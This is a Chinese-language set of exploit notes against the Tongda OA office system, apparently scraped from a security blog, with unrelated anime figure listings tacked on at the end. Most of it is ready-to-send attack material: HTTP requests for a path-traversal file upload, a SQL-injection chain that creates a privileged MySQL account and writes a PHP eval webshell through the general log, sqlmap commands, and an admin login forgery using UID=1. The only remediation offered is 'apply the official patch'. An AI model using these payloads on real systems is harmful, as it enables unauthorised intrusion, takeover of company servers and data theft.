作者:掌控安全-mss
inc/expired.php
inc/reg_trial.php
inc\reg_trial_submit.php
ispirit/retrieve_pwd.php?username=admin
resque/worker.php
访问/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php
,删除auth.inc.php
2.构造post数据包上传文件
POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1
Host: 192.168.179.128:96
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 855
Content-Type: multipart/form-data; boundary=abc
--abc
Content-Disposition: form-data; name="FILE1"; filename="test.php"
<?php echo test?>
--abc--
3.py脚本:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py
注入点在后台在general/hr/manage/query/delete_cascade.php?condition_cascade=语句
登陆后构造一个语句创建一个账号用于远程登录数据库,
构造前
构造grant all privileges ON mysql.* TO 'test'@'%' IDENTIFIED BY 'test' WITH GRANT OPTION
赋予权限
执行一些指令报错,给设置的账号权限
在数据库里构造
`UPDATE `mysql`.`user` SET `Super_priv` = 'Y' WHERE `User` = 'test'
给用户赋予超级权限,
在注入点构造general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges
刷新权限后重新登录,输入set global general_log = on;
写shell
set global general_log_file = ‘C:/toda17/webroot/1.php’;
select ‘<?php eval($_REQUEST[test]);?>’;
1、漏洞描述:
该漏洞类型为SQL注入,通过SQL注入达到GetShell目的
2、漏洞影响版本:
测试版本:通达OA v11.7版本
限制条件:需要账号登录
3、环境搭建:
自行下载相关的安装包,一键安装,安装的界面如下:
4、漏洞复现
SQL注入
该SQL注入漏洞是通过代码审计的时候发现,所以上工具SeayDzend,然后将我们的源码进行解码,我们审计的时候发现delete_cascade.php文件中condition_cascade参数存在布尔盲注,审计过程如下:
首先进入到delete_cascade.php页面,我们知道通达在注册变量时考虑了安全问题,系统会将用户传入的数据用addslashes函数进行保护,但是回到判断$condition_cascade传参,这里发现传参如果不为空,又将其中的\’替换为’ ,导致漏洞的存在。
接下来对其进行测试。
我们发现直接进行访问是行不通的,所以这里有一个限制条件,需要一个账号进行登录,我们搭建的时候默认的账号是admin,密码是空,先进行登录
这个是正常的页面,接下来我们对其condition_cascade传参进行布尔盲注测试
这时候我们好像遇到了困难,输入的语句中存在sleep的时候触发了通达OA的安全验证机制,为了更好的绕过,我们去看看源代码中的安全检测机制,
这里我们发现只是过滤了一些字符,并非无法进行绕过,盲注的核心是:substr、if、Left等函数,这些均未被过滤,所以我们可以考虑从这些入手。
这时候我们只要构造MySQL报错即可配合if函数进行盲注了,但是语句的构造还是会存在问题,这时候我们去查看类似文章分享,发现power()函数也可以使数据库报错,所以构造语句:
select%20if((substr((select%20user()),1,1)=%27r%27),1,power(6666,666));
构造利用链达到getshell
传参处尝试进行用户的添加
进行连接试试
发现添加成功了,这个时候我们就会给用户相应的权限,这里在数据库中进行对该用户赋予超级权限,UPDATEmysql
.user
SET Super_priv
= ‘Y’ WHERE User
= ‘test123’
接着我们在注入点进行权限的刷新condition_cascade=flush privileges;
重新登录之后我们知道写shell需要知道一定的路径,这个时候我们可以先查看一下路径,我们只是进入了数据库,可以根据数据库的信息进行猜测
这个时候我们可以知道根目录是OA17
接着对其进行写shell操作
set global general_log = on;
set global general_log_file = ‘C:/OA17/webroot/1.php’;
select ‘<?php eval($_POST[8]);?>’;
成功写入,连蚁剑
成功getshell!
5、修复建议
更新官方发布补丁
条件:需要一个账号
URL:
general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2*
sqlmap:
python3 sqlmap.py -u "xxxx.com/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2*" --cookie="你的cookie"
条件:需要账号
POST包:
POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
Host: 192.168.179.128:96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 69
Origin: http://192.168.179.128:96
Connection: close
Referer: http://192.168.179.128:96/general/calendarArrange/calendarArrange.php
Cookie: USER_NAME_COOKIE=jishubu; SID_1=8bb34f0c; OA_USER_ID=65; PHPSESSID=t96g3biuiaqqtl45pdnoj97mh7; SID_65=355c96b8; _csrf=ae4a4fdd9d8d59db93632d5dadc33a47b899db1feecc86c609c3e23966f70eaca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22yyvCSMFngKTJiOxmyIyzkxRPstj3pdcC%22%3B%7D
view=month&starttime=1601222400&endtime=1604246400&callback=undefined
SQLMAP:`python3 sqlmap.py -r “1.txt”
访问general/login_code.php
得到code_uid:BED9DDBF-B3A5-ADAA-F671-9E349EAC7B5D
构造如下post包
POST /logincheck_code.php HTTP/1.1
Host: 192.168.179.128:96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
CODEUID={BED9DDBF-B3A5-ADAA-F671-9E349EAC7B5D}&UID=1
得到cookie
2.替换cookie,访问
general/index.php?is_modify_pwd=1
构造如下数据包
POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1
Host: 192.168.179.128:96
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 855
Content-Type: multipart/form-data; boundary=abc
--abc
Content-Disposition: form-data; name="FILE1"; filename="test.php"
<?php echo test?>
--abc--
1、通达简介
通达OA是一套在国内常用的办公系统,它的使用群体,大小公司都有,它是采用了基于web的企业计算,有着世界上最先进的Apache服务,性能稳定且可靠,对于数据的存储集中控制,后台有着多级的权限管理,完善的登录机制和密码验证功能。
2、漏洞描述
该漏洞类型为任意用户伪造,未经授权的远程攻击者可以在远程且未经授权的情况下,通过精心构造的请求包进行任意用户伪造登录(包括系统管理员)。
3、漏洞影响版本
通达OA2017、V11.X<V11.5
4、环境搭建
自行下载相关的安装包,一键安装,这里以V11.3版本为例,安装的界面如下:
5、漏洞复现
手工注入
我们刚刚开始的时候如果访问这个链接页面的时候我们发现是没有权限的
接着我们去到我们的登录页面进行抓包分析,看是否存在验证身份的传参
我们发现是不存在什么验证身份信息的,但是我们可以看到有PHPSESSID,这个时候我们是否会想,如果我得到管理员或者其他用户的PHPSESSID加上身份验证传参是否就可以登录。我们正常登录的时候我们会发现会跳转至logincheck.php
我们可以去到源码分析,发现源码加密了,这里用软件SeayDzend.exe进行解密,接着发现logincheck.php引用了logincheck_code.php进行身份验证
分析发现这里直接获取POST[‘UID’]参数,然后直接带进SQL语句查询,这里没有去验证用户密码,这里猜测UID是什么的时候是管理员,我们这里可以进入mysql5目录,查看my.ini获取密码,进入TO_OA数据库,查询上述语句SELECT * from USER where UID=’$UID’,查看结果发现UID为1的时候是管理员用户。
我们继续往下看,当我们在logincheck_code.php中POST传入UID=1的时候,经过logincheck_code.php的SQL查询操作,将直接返回admin认证的SESSION到当前的这时可以带着当前的SESSION到/general/index.php中,直接是admin管理员用户
这个时候我们可以去抓包进行复现刚才的思路
首先更改登录包进行获取PHPSESSID
接着把PHPSESSID放入到/general/index.php目录下的页面进行未经授权登录
6、进阶-后台GETSHELL
找到菜单中的附件管理,如果没有存储目录的需要自己添加
之后找到组织中的系统管理员,打开聊天窗口,我们发现有一个发送文件的地方,而发送成功之后的文件会存储在我们刚才设置好的目录中
这里进行文件传输的时候我们可以进行抓包,我们发现存储的位置就是我们设置的目录
这个是我们发现会更改文件的命名,但是我们抓包的时候发送数据包时会返回重命名文件和路径
这个时候我们是否可以直接传输小马,试一试
接着我们就可以直接上蚁剑进行连接啦
成功getshell
7、POC方法
有时候我们总会嫌弃手工注入太繁琐,这里我们依旧可以用脚本得到PHPSESSID
usage: python 3 poc.py -v {11,2017} -url TARGETURL
我们将得到的PHPSESSID直接放到COOKIE中,我们发现依旧是可以直接进行未授权登录的
8、修复建议:
更新官方发布补丁
「艾尔登法环」梅琳娜手办开订 立体手办▪
万代「艾尔登法环」白狼战鬼手办开订 立体手办▪
「夏目友人帐」猫咪老师粘土人开订 立体手办▪
「五等分的新娘∬」中野三玖·白无垢版手办开订 立体手办▪
「海贼王」乌索普Q版手办开订 立体手办▪
良笑社「初音未来」新手办开订 立体手办▪
「黑岩射手DAWN FALL」死亡主宰手办开订 立体手办▪
「盾之勇者成名录」菲洛手办登场 立体手办▪
「魔法少女小圆」美树沙耶香手办开订 立体手办▪
「咒术回战」七海建人粘土人登场 立体手办▪
「五等分的新娘」中野二乃白无垢手办开订 立体手办▪
「为美好的世界献上祝福!」芸芸粘土人开订 立体手办▪
「公主连结 与你重逢」六星可可萝手办开订 立体手办▪
「女神异闻录5」Joker雨宫莲手办开订 立体手办▪
「间谍过家家」约尔・福杰粘土人登场 立体手办▪
「街角魔族 2丁目」吉田优子手办开订 立体手办▪
「火影忍者 疾风传」旗木卡卡西·暗部版粘土人登场 立体手办▪
「佐佐木与宫野」宫野由美粘土人开订 立体手办▪
「盾之勇者成名录」第2季拉芙塔莉雅手办开订 立体手办▪
「咒术回战」两面宿傩Q版坐姿手办开订 立体手办▪
「DATE·A·BULLET」时崎狂三手办开订 立体手办▪
「狂赌之渊××」早乙女芽亚里粘土人开订 立体手办▪
「魔道祖师」魏无羨粘土人开订 立体手办▪
「新·奥特曼」奥特曼手办现已开订 立体手办▪